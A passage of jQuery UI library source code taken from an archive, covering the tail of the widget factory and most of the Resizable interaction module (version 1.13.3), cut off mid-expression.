widgetSlice = Array.prototype.slice; $.cleanData = ( function( orig ) { return function( elems ) { var events, elem, i; for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) { // Only trigger remove when necessary to save time events = $._data( elem, "events" ); if ( events && events.remove ) { $( elem ).triggerHandler( "remove" ); } } orig( elems ); }; } )( $.cleanData ); $.widget = function( name, base, prototype ) { var existingConstructor, constructor, basePrototype; // ProxiedPrototype allows the provided prototype to remain unmodified // so that it can be used as a mixin for multiple widgets (#8876) var proxiedPrototype = {}; var namespace = name.split( "." )[ 0 ]; name = name.split( "." )[ 1 ]; var fullName = namespace + "-" + name; if ( !prototype ) { prototype = base; base = $.Widget; } if ( Array.isArray( prototype ) ) { prototype = $.extend.apply( null, [ {} ].concat( prototype ) ); } // Create selector for plugin $.expr.pseudos[ fullName.toLowerCase() ] = function( elem ) { return !!$.data( elem, fullName ); }; $[ namespace ] = $[ namespace ] || {}; existingConstructor = $[ namespace ][ name ]; constructor = $[ namespace ][ name ] = function( options, element ) { // Allow instantiation without "new" keyword if ( !this || !this._createWidget ) { return new constructor( options, element ); } // Allow instantiation without initializing for simple inheritance // must use "new" keyword (the code above always passes args) if ( arguments.length ) { this._createWidget( options, element ); } }; // Extend with the existing constructor to carry over any static properties $.extend( constructor, existingConstructor, { version: prototype.version, // Copy the object used to create the prototype in case we need to // redefine the widget later _proto: $.extend( {}, prototype ), // Track widgets that inherit from this widget in case this widget is // redefined after a widget inherits from it _childConstructors: [] } ); basePrototype = new base(); // We need to make the options hash a property directly on the new instance // otherwise we'll modify the options hash on the prototype that we're // inheriting from basePrototype.options = $.widget.extend( {}, basePrototype.options ); $.each( prototype, function( prop, value ) { if ( typeof value !== "function" ) { proxiedPrototype[ prop ] = value; return; } proxiedPrototype[ prop ] = ( function() { function _super() { return base.prototype[ prop ].apply( this, arguments ); } function _superApply( args ) { return base.prototype[ prop ].apply( this, args ); } return function() { var __super = this._super; var __superApply = this._superApply; var returnValue; this._super = _super; this._superApply = _superApply; returnValue = value.apply( this, arguments ); this._super = __super; this._superApply = __superApply; return returnValue; }; } )(); } ); constructor.prototype = $.widget.extend( basePrototype, { // TODO: remove support for widgetEventPrefix // always use the name + a colon as the prefix, e.g., draggable:start // don't prefix for widgets that aren't DOM-based widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name }, proxiedPrototype, { constructor: constructor, namespace: namespace, widgetName: name, widgetFullName: fullName } ); // If this widget is being redefined then we need to find all widgets that // are inheriting from it and redefine all of them so that they inherit from // the new version of this widget. We're essentially trying to replace one // level in the prototype chain. if ( existingConstructor ) { $.each( existingConstructor._childConstructors, function( i, child ) { var childPrototype = child.prototype; // Redefine the child widget using the same prototype that was // originally used, but inherit from the new version of the base $.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto ); } ); // Remove the list of existing child constructors from the old constructor // so the old child constructors can be garbage collected delete existingConstructor._childConstructors; } else { base._childConstructors.push( constructor ); } $.widget.bridge( name, constructor ); return constructor; }; $.widget.extend = function( target ) { var input = widgetSlice.call( arguments, 1 ); var inputIndex = 0; var inputLength = input.length; var key; var value; for ( ; inputIndex < inputLength; inputIndex++ ) { for ( key in input[ inputIndex ] ) { value = input[ inputIndex ][ key ]; if ( widgetHasOwnProperty.call( input[ inputIndex ], key ) && value !== undefined ) { // Clone objects if ( $.isPlainObject( value ) ) { target[ key ] = $.isPlainObject( target[ key ] ) ? $.widget.extend( {}, target[ key ], value ) : // Don't extend strings, arrays, etc. with objects $.widget.extend( {}, value ); // Copy everything else by reference } else { target[ key ] = value; } } } } return target; }; $.widget.bridge = function( name, object ) { var fullName = object.prototype.widgetFullName || name; $.fn[ name ] = function( options ) { var isMethodCall = typeof options === "string"; var args = widgetSlice.call( arguments, 1 ); var returnValue = this; if ( isMethodCall ) { // If this is an empty collection, we need to have the instance method // return undefined instead of the jQuery instance if ( !this.length && options === "instance" ) { returnValue = undefined; } else { this.each( function() { var methodValue; var instance = $.data( this, fullName ); if ( options === "instance" ) { returnValue = instance; return false; } if ( !instance ) { return $.error( "cannot call methods on " + name + " prior to initialization; " + "attempted to call method '" + options + "'" ); } if ( typeof instance[ options ] !== "function" || options.charAt( 0 ) === "_" ) { return $.error( "no such method '" + options + "' for " + name + " widget instance" ); } methodValue = instance[ options ].apply( instance, args ); if ( methodValue !== instance && methodValue !== undefined ) { returnValue = methodValue && methodValue.jquery ? returnValue.pushStack( methodValue.get() ) : methodValue; return false; } } ); } } else { // Allow multiple hashes to be passed on init if ( args.length ) { options = $.widget.extend.apply( null, [ options ].concat( args ) ); } this.each( function() { var instance = $.data( this, fullName ); if ( instance ) { instance.option( options || {} ); if ( instance._init ) { instance._init(); } } else { $.data( this, fullName, new object( options, this ) ); } } ); } return returnValue; }; }; $.Widget = function( /* options, element */ ) {}; $.Widget._childConstructors = []; $.Widget.prototype = { widgetName: "widget", widgetEventPrefix: "", defaultElement: "<div>", options: { classes: {}, disabled: false, // Callbacks create: null }, _createWidget: function( options, element ) { element = $( element || this.defaultElement || this )[ 0 ]; this.element = $( element ); this.uuid = widgetUuid++; this.eventNamespace = "." + this.widgetName + this.uuid; this.bindings = $(); this.hoverable = $(); this.focusable = $(); this.classesElementLookup = {}; if ( element !== this ) { $.data( element, this.widgetFullName, this ); this._on( true, this.element, { remove: function( event ) { if ( event.target === element ) { this.destroy(); } } } ); this.document = $( element.style ? // Element within the document element.ownerDocument : // Element is window or document element.document || element ); this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow ); } this.options = $.widget.extend( {}, this.options, this._getCreateOptions(), options ); this._create(); if ( this.options.disabled ) { this._setOptionDisabled( this.options.disabled ); } this._trigger( "create", null, this._getCreateEventData() ); this._init(); }, _getCreateOptions: function() { return {}; }, _getCreateEventData: $.noop, _create: $.noop, _init: $.noop, destroy: function() { var that = this; this._destroy(); $.each( this.classesElementLookup, function( key, value ) { that._removeClass( value, key ); } ); // We can probably remove the unbind calls in 2.0 // all event bindings should go through this._on() this.element .off( this.eventNamespace ) .removeData( this.widgetFullName ); this.widget() .off( this.eventNamespace ) .removeAttr( "aria-disabled" ); // Clean up events and states this.bindings.off( this.eventNamespace ); }, _destroy: $.noop, widget: function() { return this.element; }, option: function( key, value ) { var options = key; var parts; var curOption; var i; if ( arguments.length === 0 ) { // Don't return a reference to the internal hash return $.widget.extend( {}, this.options ); } if ( typeof key === "string" ) { // Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } } options = {}; parts = key.split( "." ); key = parts.shift(); if ( parts.length ) { curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] ); for ( i = 0; i < parts.length - 1; i++ ) { curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {}; curOption = curOption[ parts[ i ] ]; } key = parts.pop(); if ( arguments.length === 1 ) { return curOption[ key ] === undefined ? null : curOption[ key ]; } curOption[ key ] = value; } else { if ( arguments.length === 1 ) { return this.options[ key ] === undefined ? null : this.options[ key ]; } options[ key ] = value; } } this._setOptions( options ); return this; }, _setOptions: function( options ) { var key; for ( key in options ) { this._setOption( key, options[ key ] ); } return this; }, _setOption: function( key, value ) { if ( key === "classes" ) { this._setOptionClasses( value ); } this.options[ key ] = value; if ( key === "disabled" ) { this._setOptionDisabled( value ); } return this; }, _setOptionClasses: function( value ) { var classKey, elements, currentElements; for ( classKey in value ) { currentElements = this.classesElementLookup[ classKey ]; if ( value[ classKey ] === this.options.classes[ classKey ] || !currentElements || !currentElements.length ) { continue; } // We are doing this to create a new jQuery object because the _removeClass() call // on the next line is going to destroy the reference to the current elements being // tracked. We need to save a copy of this collection so that we can add the new classes // below. elements = $( currentElements.get() ); this._removeClass( currentElements, classKey ); // We don't use _addClass() here, because that uses this.options.classes // for generating the string of classes. We want to use the value passed in from // _setOption(), this is the new value of the classes option which was passed to // _setOption(). We pass this value directly to _classes(). elements.addClass( this._classes( { element: elements, keys: classKey, classes: value, add: true } ) ); } }, _setOptionDisabled: function( value ) { this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value ); // If the widget is becoming disabled, then nothing is interactive if ( value ) { this._removeClass( this.hoverable, null, "ui-state-hover" ); this._removeClass( this.focusable, null, "ui-state-focus" ); } }, enable: function() { return this._setOptions( { disabled: false } ); }, disable: function() { return this._setOptions( { disabled: true } ); }, _classes: function( options ) { var full = []; var that = this; options = $.extend( { element: this.element, classes: this.options.classes || {} }, options ); function bindRemoveEvent() { var nodesToBind = []; options.element.each( function( _, element ) { var isTracked = $.map( that.classesElementLookup, function( elements ) { return elements; } ) .some( function( elements ) { return elements.is( element ); } ); if ( !isTracked ) { nodesToBind.push( element ); } } ); that._on( $( nodesToBind ), { remove: "_untrackClassesElement" } ); } function processClassString( classes, checkOption ) { var current, i; for ( i = 0; i < classes.length; i++ ) { current = that.classesElementLookup[ classes[ i ] ] || $(); if ( options.add ) { bindRemoveEvent(); current = $( $.uniqueSort( current.get().concat( options.element.get() ) ) ); } else { current = $( current.not( options.element ).get() ); } that.classesElementLookup[ classes[ i ] ] = current; full.push( classes[ i ] ); if ( checkOption && options.classes[ classes[ i ] ] ) { full.push( options.classes[ classes[ i ] ] ); } } } if ( options.keys ) { processClassString( options.keys.match( /\S+/g ) || [], true ); } if ( options.extra ) { processClassString( options.extra.match( /\S+/g ) || [] ); } return full.join( " " ); }, _untrackClassesElement: function( event ) { var that = this; $.each( that.classesElementLookup, function( key, value ) { if ( $.inArray( event.target, value ) !== -1 ) { that.classesElementLookup[ key ] = $( value.not( event.target ).get() ); } } ); this._off( $( event.target ) ); }, _removeClass: function( element, keys, extra ) { return this._toggleClass( element, keys, extra, false ); }, _addClass: function( element, keys, extra ) { return this._toggleClass( element, keys, extra, true ); }, _toggleClass: function( element, keys, extra, add ) { add = ( typeof add === "boolean" ) ? add : extra; var shift = ( typeof element === "string" || element === null ), options = { extra: shift ? keys : extra, keys: shift ? element : keys, element: shift ? this.element : element, add: add }; options.element.toggleClass( this._classes( options ), add ); return this; }, _on: function( suppressDisabledCheck, element, handlers ) { var delegateElement; var instance = this; // No suppressDisabledCheck flag, shuffle arguments if ( typeof suppressDisabledCheck !== "boolean" ) { handlers = element; element = suppressDisabledCheck; suppressDisabledCheck = false; } // No element argument, shuffle and use this.element if ( !handlers ) { handlers = element; element = this.element; delegateElement = this.widget(); } else { element = delegateElement = $( element ); this.bindings = this.bindings.add( element ); } $.each( handlers, function( event, handler ) { function handlerProxy() { // Allow widgets to customize the disabled handling // - disabled as an array instead of boolean // - disabled class as method for disabling individual parts if ( !suppressDisabledCheck && ( instance.options.disabled === true || $( this ).hasClass( "ui-state-disabled" ) ) ) { return; } return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } // Copy the guid so direct unbinding works if ( typeof handler !== "string" ) { handlerProxy.guid = handler.guid = handler.guid || handlerProxy.guid || $.guid++; } var match = event.match( /^([\w:-]*)\s*(.*)$/ ); var eventName = match[ 1 ] + instance.eventNamespace; var selector = match[ 2 ]; if ( selector ) { delegateElement.on( eventName, selector, handlerProxy ); } else { element.on( eventName, handlerProxy ); } } ); }, _off: function( element, eventName ) { eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) + this.eventNamespace; element.off( eventName ); // Clear the stack to avoid memory leaks (#10056) this.bindings = $( this.bindings.not( element ).get() ); this.focusable = $( this.focusable.not( element ).get() ); this.hoverable = $( this.hoverable.not( element ).get() ); }, _delay: function( handler, delay ) { function handlerProxy() { return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } var instance = this; return setTimeout( handlerProxy, delay || 0 ); }, _hoverable: function( element ) { this.hoverable = this.hoverable.add( element ); this._on( element, { mouseenter: function( event ) { this._addClass( $( event.currentTarget ), null, "ui-state-hover" ); }, mouseleave: function( event ) { this._removeClass( $( event.currentTarget ), null, "ui-state-hover" ); } } ); }, _focusable: function( element ) { this.focusable = this.focusable.add( element ); this._on( element, { focusin: function( event ) { this._addClass( $( event.currentTarget ), null, "ui-state-focus" ); }, focusout: function( event ) { this._removeClass( $( event.currentTarget ), null, "ui-state-focus" ); } } ); }, _trigger: function( type, event, data ) { var prop, orig; var callback = this.options[ type ]; data = data || {}; event = $.Event( event ); event.type = ( type === this.widgetEventPrefix ? type : this.widgetEventPrefix + type ).toLowerCase(); // The original event may come from any element // so we need to reset the target on the new event event.target = this.element[ 0 ]; // Copy original event properties over to the new event orig = event.originalEvent; if ( orig ) { for ( prop in orig ) { if ( !( prop in event ) ) { event[ prop ] = orig[ prop ]; } } } this.element.trigger( event, data ); return !( typeof callback === "function" && callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false || event.isDefaultPrevented() ); } }; $.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) { $.Widget.prototype[ "_" + method ] = function( element, options, callback ) { if ( typeof options === "string" ) { options = { effect: options }; } var hasOptions; var effectName = !options ? method : options === true || typeof options === "number" ? defaultEffect : options.effect || defaultEffect; options = options || {}; if ( typeof options === "number" ) { options = { duration: options }; } else if ( options === true ) { options = {}; } hasOptions = !$.isEmptyObject( options ); options.complete = callback; if ( options.delay ) { element.delay( options.delay ); } if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) { element[ method ]( options ); } else if ( effectName !== method && element[ effectName ] ) { element[ effectName ]( options.duration, options.easing, callback ); } else { element.queue( function( next ) { $( this )[ method ](); if ( callback ) { callback.call( element[ 0 ] ); } next(); } ); } }; } ); } ) ); jquery/ui/resizable.js 0000644 00000073432 15111757754 0011044 0 ustar 00 /*! * jQuery UI Resizable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Resizable //>>group: Interactions //>>description: Enables resize functionality for any element. //>>docs: https://api.jqueryui.com/resizable/ //>>demos: https://jqueryui.com/resizable/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/resizable.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "../disable-selection", "../plugin", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.resizable", $.ui.mouse, { version: "1.13.3", widgetEventPrefix: "resize", options: { alsoResize: false, animate: false, animateDuration: "slow", animateEasing: "swing", aspectRatio: false, autoHide: false, classes: { "ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se" }, containment: false, ghost: false, grid: false, handles: "e,s,se", helper: false, maxHeight: null, maxWidth: null, minHeight: 10, minWidth: 10, // See #7960 zIndex: 90, // Callbacks resize: null, start: null, stop: null }, _num: function( value ) { return parseFloat( value ) || 0; }, _isNumber: function( value ) { return !isNaN( parseFloat( value ) ); }, _hasScroll: function( el, a ) { if ( $( el ).css( "overflow" ) === "hidden" ) { return false; } var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop", has = false; if ( el[ scroll ] > 0 ) { return true; } // TODO: determine which cases actually cause this to happen // if the element doesn't have the scroll set, see if it's possible to // set the scroll try { el[ scroll ] = 1; has = ( el[ scroll ] > 0 ); el[ scroll ] = 0; } catch ( e ) { // `el` might be a string, then setting `scroll` will throw // an error in strict mode; ignore it. } return has; }, _create: function() { var margins, o = this.options, that = this; this._addClass( "ui-resizable" ); $.extend( this, { _aspectRatio: !!( o.aspectRatio ), aspectRatio: o.aspectRatio, originalElement: this.element, _proportionallyResizeElements: [], _helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null } ); // Wrap the element if it cannot hold child nodes if ( this.element[ 0 ].nodeName.match( /^(canvas|textarea|input|select|button|img)$/i ) ) { this.element.wrap( $( "<div class='ui-wrapper'></div>" ).css( { overflow: "hidden", position: this.element.css( "position" ), width: this.element.outerWidth(), height: this.element.outerHeight(), top: this.element.css( "top" ), left: this.element.css( "left" ) } ) ); this.element = this.element.parent().data( "ui-resizable", this.element.resizable( "instance" ) ); this.elementIsWrapper = true; margins = { marginTop: this.originalElement.css( "marginTop" ), marginRight: this.originalElement.css( "marginRight" ), marginBottom: this.originalElement.css( "marginBottom" ), marginLeft: this.originalElement.css( "marginLeft" ) }; this.element.css( margins ); this.originalElement.css( "margin", 0 ); // support: Safari // Prevent Safari textarea resize this.originalResizeStyle = this.originalElement.css( "resize" ); this.originalElement.css( "resize", "none" ); this._proportionallyResizeElements.push( this.originalElement.css( { position: "static", zoom: 1, display: "block" } ) ); // Support: IE9 // avoid IE jump (hard set the margin) this.originalElement.css( margins ); this._proportionallyResize(); } this._setupHandles(); if ( o.autoHide ) { $( this.element ) .on( "mouseenter", function() { if ( o.disabled ) { return; } that._removeClass( "ui-resizable-autohide" ); that._handles.show(); } ) .on( "mouseleave", function() { if ( o.disabled ) { return; } if ( !that.resizing ) { that._addClass( "ui-resizable-autohide" ); that._handles.hide(); } } ); } this._mouseInit(); }, _destroy: function() { this._mouseDestroy(); this._addedHandles.remove(); var wrapper, _destroy = function( exp ) { $( exp ) .removeData( "resizable" ) .removeData( "ui-resizable" ) .off( ".resizable" ); }; // TODO: Unwrap at same DOM position if ( this.elementIsWrapper ) { _destroy( this.element ); wrapper = this.element; this.originalElement.css( { position: wrapper.css( "position" ), width: wrapper.outerWidth(), height: wrapper.outerHeight(), top: wrapper.css( "top" ), left: wrapper.css( "left" ) } ).insertAfter( wrapper ); wrapper.remove(); } this.originalElement.css( "resize", this.originalResizeStyle ); _destroy( this.originalElement ); return this; }, _setOption: function( key, value ) { this._super( key, value ); switch ( key ) { case "handles": this._removeHandles(); this._setupHandles(); break; case "aspectRatio": this._aspectRatio = !!value; break; default: break; } }, _setupHandles: function() { var o = this.options, handle, i, n, hname, axis, that = this; this.handles = o.handles || ( !$( ".ui-resizable-handle", this.element ).length ? "e,s,se" : { n: ".ui-resizable-n", e: ".ui-resizable-e", s: ".ui-resizable-s", w: ".ui-resizable-w", se: ".ui-resizable-se", sw: ".ui-resizable-sw", ne: ".ui-resizable-ne", nw: ".ui-resizable-nw" } ); this._handles = $(); this._addedHandles = $(); if ( this.handles.constructor === String ) { if ( this.handles === "all" ) { this.handles = "n,e,s,w,se,sw,ne,nw"; } n = this.handles.split( "," ); this.handles = {}; for ( i = 0; i < n.length; i++ ) { handle = String.prototype.trim.call( n[ i ] ); hname = "ui-resizable-" + handle; axis = $( "<div>" ); this._addClass( axis, "ui-resizable-handle " + hname ); axis.css( { zIndex: o.zIndex } ); this.handles[ handle ] = ".ui-resizable-" + handle; if ( !this.element.children( this.handles[ handle ] ).length ) { this.element.append( axis ); this._addedHandles = this._addedHandles.add( axis ); } } } this._renderAxis = function( target ) { var i, axis, padPos, padWrapper; target = target || this.element; for ( i in this.handles ) { if ( this.handles[ i ].constructor === String ) { this.handles[ i ] = this.element.children( this.handles[ i ] ).first().show(); } else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) { this.handles[ i ] = $( this.handles[ i ] ); this._on( this.handles[ i ], { "mousedown": that._mouseDown } ); } if ( this.elementIsWrapper && this.originalElement[ 0 ] .nodeName .match( /^(textarea|input|select|button)$/i ) ) { axis = $( this.handles[ i ], this.element ); padWrapper = /sw|ne|nw|se|n|s/.test( i ) ? axis.outerHeight() : axis.outerWidth(); padPos = [ "padding", /ne|nw|n/.test( i ) ? "Top" : /se|sw|s/.test( i ) ? "Bottom" : /^e$/.test( i ) ? "Right" : "Left" ].join( "" ); target.css( padPos, padWrapper ); this._proportionallyResize(); } this._handles = this._handles.add( this.handles[ i ] ); } }; // TODO: make renderAxis a prototype function this._renderAxis( this.element ); this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) ); this._handles.disableSelection(); this._handles.on( "mouseover", function() { if ( !that.resizing ) { if ( this.className ) { axis = this.className.match( /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i ); } that.axis = axis && axis[ 1 ] ? axis[ 1 ] : "se"; } } ); if ( o.autoHide ) { this._handles.hide(); this._addClass( "ui-resizable-autohide" ); } }, _removeHandles: function() { this._addedHandles.remove(); }, _mouseCapture: function( event ) { var i, handle, capture = false; for ( i in this.handles ) { handle = $( this.handles[ i ] )[ 0 ]; if ( handle === event.target || $.contains( handle, event.target ) ) { capture = true; } } return !this.options.disabled && capture; }, _mouseStart: function( event ) { var curleft, curtop, cursor, o = this.options, el = this.element; this.resizing = true; this._renderProxy(); curleft = this._num( this.helper.css( "left" ) ); curtop = this._num( this.helper.css( "top" ) ); if ( o.containment ) { curleft += $( o.containment ).scrollLeft() || 0; curtop += $( o.containment ).scrollTop() || 0; } this.offset = this.helper.offset(); this.position = { left: curleft, top: curtop }; this.size = this._helper ? { width: this.helper.width(), height: this.helper.height() } : { width: el.width(), height: el.height() }; this.originalSize = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() }; this.sizeDiff = { width: el.outerWidth() - el.width(), height: el.outerHeight() - el.height() }; this.originalPosition = { left: curleft, top: curtop }; this.originalMousePosition = { left: event.pageX, top: event.pageY }; this.aspectRatio = ( typeof o.aspectRatio === "number" ) ? o.aspectRatio : ( ( this.originalSize.width / this.originalSize.height ) || 1 ); cursor = $( ".ui-resizable-" + this.axis ).css( "cursor" ); $( "body" ).css( "cursor", cursor === "auto" ? this.axis + "-resize" : cursor ); this._addClass( "ui-resizable-resizing" ); this._propagate( "start", event ); return true; }, _mouseDrag: function( event ) { var data, props, smp = this.originalMousePosition, a = this.axis, dx = ( event.pageX - smp.left ) || 0, dy = ( event.pageY - smp.top ) || 0, trigger = this._change[ a ]; this._updatePrevProperties(); if ( !trigger ) { return false; } data = trigger.apply( this, [ event, dx, dy ] ); this._updateVirtualBoundaries( event.shiftKey ); if ( this._aspectRatio || event.shiftKey ) { data = this._updateRatio( data, event ); } data = this._respectSize( data, event ); this._updateCache( data ); this._propagate( "resize", event ); props = this._applyChanges(); if ( !this._helper && this._proportionallyResizeElements.length ) { this._proportionallyResize(); } if ( !$.isEmptyObject( props ) ) { this._updatePrevProperties(); this._trigger( "resize", event, this.ui() ); this._applyChanges(); } return false; }, _mouseStop: function( event ) { this.resizing = false; var pr, ista, soffseth, soffsetw, s, left, top, o = this.options, that = this; if ( this._helper ) { pr = this._proportionallyResizeElements; ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ); soffseth = ista && this._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height; soffsetw = ista ? 0 : that.sizeDiff.width; s = { width: ( that.helper.width() - soffsetw ), height: ( that.helper.height() - soffseth ) }; left = ( parseFloat( that.element.css( "left" ) ) + ( that.position.left - that.originalPosition.left ) ) || null; top = ( parseFloat( that.element.css( "top" ) ) + ( that.position.top - that.originalPosition.top ) ) || null; if ( !o.animate ) { this.element.css( $.extend( s, { top: top, left: left } ) ); } that.helper.height( that.size.height ); that.helper.width( that.size.width ); if ( this._helper && !o.animate ) { this._proportionallyResize(); } } $( "body" ).css( "cursor", "auto" ); this._removeClass( "ui-resizable-resizing" ); this._propagate( "stop", event ); if ( this._helper ) { this.helper.remove(); } return false; }, _updatePrevProperties: function() { this.prevPosition = { top: this.position.top, left: this.position.left }; this.prevSize = { width: this.size.width, height: this.size.height }; }, _applyChanges: function() { var props = {}; if ( this.position.top !== this.prevPosition.top ) { props.top = this.position.top + "px"; } if ( this.position.left !== this.prevPosition.left ) { props.left = this.position.left + "px"; } this.helper.css( props ); if ( this.size.width !== this.prevSize.width ) { props.width = this.size.width + "px"; this.helper.width( props.width ); } if ( this.size.height !== this.prevSize.height ) { props.height = this.size.height + "px"; this.helper.height( props.height ); } return props; }, _updateVirtualBoundaries: function( forceAspectRatio ) { var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b, o = this.options; b = { minWidth: this._isNumber( o.minWidth ) ? o.minWidth : 0, maxWidth: this._isNumber( o.maxWidth ) ? o.maxWidth : Infinity, minHeight: this._isNumber( o.minHeight ) ? o.minHeight : 0, maxHeight: this._isNumber( o.maxHeight ) ? o.maxHeight : Infinity }; if ( this._aspectRatio || forceAspectRatio ) { pMinWidth = b.minHeight * this.aspectRatio; pMinHeight = b.minWidth / this.aspectRatio; pMaxWidth = b.maxHeight * this.aspectRatio; pMaxHeight = b.maxWidth / this.aspectRatio; if ( pMinWidth > b.minWidth ) { b.minWidth = pMinWidth; } if ( pMinHeight > b.minHeight ) { b.minHeight = pMinHeight; } if ( pMaxWidth < b.maxWidth ) { b.maxWidth = pMaxWidth; } if ( pMaxHeight < b.maxHeight ) { b.maxHeight = pMaxHeight; } } this._vBoundaries = b; }, _updateCache: function( data ) { this.offset = this.helper.offset(); if ( this._isNumber( data.left ) ) { this.position.left = data.left; } if ( this._isNumber( data.top ) ) { this.position.top = data.top; } if ( this._isNumber( data.height ) ) { this.size.height = data.height; } if ( this._isNumber( data.width ) ) { this.size.width = data.width; } }, _updateRatio: function( data ) { var cpos = this.position, csize = this.size, a = this.axis; if ( this._isNumber( data.height ) ) { data.width = ( data.height * this.aspectRatio ); } else if ( this._isNumber( data.width ) ) { data.height = ( data.width / this.aspectRatio ); } if ( a === "sw" ) { data.left = cpos.left + ( csize.width - data.width ); data.top = null; } if ( a === "nw" ) { data.top = cpos.top + ( csize.height - data.height ); data.left = cpos.left + ( csize.width - data.width ); } return data; }, _respectSize: function( data ) { var o = this._vBoundaries, a = this.axis, ismaxw = this._isNumber( data.width ) && o.maxWidth && ( o.maxWidth < data.width ), ismaxh = this._isNumber( data.height ) && o.maxHeight && ( o.maxHeight < data.height ), isminw = this._isNumber( data.width ) && o.minWidth && ( o.minWidth > data.width ), isminh = this._isNumber( data.height ) && o.minHeight && ( o.minHeight > data.height ), dw = this.originalPosition.left + this.originalSize.width, dh = this.originalPosition.top + this.originalSize.height, cw = /sw|nw|w/.test( a ), ch = /nw|ne|n/.test( a ); if ( isminw ) { data.width = o.minWidth; } if ( isminh ) { data.height = o.minHeight; } if ( ismaxw ) { data.width = o.maxWidth; } if ( ismaxh ) { data.height = o.maxHeight; } if ( isminw && cw ) { data.left = dw - o.minWidth; } if ( ismaxw && cw ) { data.left = dw - o.maxWidth; } if ( isminh && ch ) { data.top = dh - o.minHeight; } if ( ismaxh && ch ) { data.top = dh - o.maxHeight; } // Fixing jump error on top/left - bug #2330 if ( !data.width && !data.height && !data.left && data.top ) { data.top = null; } else if ( !data.width && !data.height && !data.top && data.left ) { data.left = null; } return data; }, _getPaddingPlusBorderDimensions: function( element ) { var i = 0, widths = [], borders = [ element.css( "borderTopWidth" ), element.css( "borderRightWidth" ), element.css( "borderBottomWidth" ), element.css( "borderLeftWidth" ) ], paddings = [ element.css( "paddingTop" ), element.css( "paddingRight" ), element.css( "paddingBottom" ), element.css( "paddingLeft" ) ]; for ( ; i < 4; i++ ) { widths[ i ] = ( parseFloat( borders[ i ] ) || 0 ); widths[ i ] += ( parseFloat( paddings[ i ] ) || 0 ); } return { height: widths[ 0 ] + widths[ 2 ], width: widths[ 1 ] + widths[ 3 ] }; }, _proportionallyResize: function() { if ( !this._proportionallyResizeElements.length ) { return; } var prel, i = 0, element = this.helper || this.element; for ( ; i < this._proportionallyResizeElements.length; i++ ) { prel = this._proportionallyResizeElements[ i ]; // TODO: Seems like a bug to cache this.outerDimensions // considering that we are in a loop. if ( !this.outerDimensions ) { this.outerDimensions = this._getPaddingPlusBorderDimensions( prel ); } prel.css( { height: ( element.height() - this.outerDimensions.height ) || 0, width: ( element.width() - this.outerDimensions.width ) || 0 } ); } }, _renderProxy: function() { var el = this.element, o = this.options; this.elementOffset = el.offset(); if ( this._helper ) { this.helper = this.helper || $( "<div></div>" ).css( { overflow: "hidden" } ); this._addClass( this.helper, this._helper ); this.helper.css( { width: this.element.outerWidth(), height: this.element.outerHeight(), position: "absolute", left: this.elementOffset.left + "px", top: this.elementOffset.top + "px", zIndex: ++o.zIndex //TODO: Don't modify option } ); this.helper .appendTo( "body" ) .disableSelection(); } else { this.helper = this.element; } }, _change: { e: function( event, dx ) { return { width: this.originalSize.width + dx }; }, w: function( event, dx ) { var cs = this.originalSize, sp = this.originalPosition; return { left: sp.left + dx, width: cs.width - dx }; }, n: function( event, dx, dy ) { var cs = this.originalSize, sp = this.originalPosition; return { top: sp.top + dy, height: cs.height - dy }; }, s: function( event, dx, dy ) { return { height: this.originalSize.height + dy }; }, se: function( event, dx, dy ) { return $.extend( this._change.s.apply( this, arguments ), this._change.e.apply( this, [ event, dx, dy ] ) ); }, sw: function( event, dx, dy ) { return $.extend( this._change.s.apply( this, arguments ), this._change.w.apply( this, [ event, dx, dy ] ) ); }, ne: function( event, dx, dy ) { return $.extend( this._change.n.apply( this, arguments ), this._change.e.apply( this, [ event, dx, dy ] ) ); }, nw: function( event, dx, dy ) { return $.extend( this._change.n.apply( this, arguments ), this._change.w.apply( this, [ event, dx, dy ] ) ); } }, _propagate: function( n, event ) { $.ui.plugin.call( this, n, [ event, this.ui() ] ); if ( n !== "resize" ) { this._trigger( n, event, this.ui() ); } }, plugins: {}, ui: function() { return { originalElement: this.originalElement, element: this.element, helper: this.helper, position: this.position, size: this.size, originalSize: this.originalSize, originalPosition: this.originalPosition }; } } ); /* * Resizable Extensions */ $.ui.plugin.add( "resizable", "animate", { stop: function( event ) { var that = $( this ).resizable( "instance" ), o = that.options, pr = that._proportionallyResizeElements, ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ), soffseth = ista && that._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height, soffsetw = ista ? 0 : that.sizeDiff.width, style = { width: ( that.size.width - soffsetw ), height: ( that.size.height - soffseth ) }, left = ( parseFloat( that.element.css( "left" ) ) + ( that.position.left - that.originalPosition.left ) ) || null, top = ( parseFloat( that.element.css( "top" ) 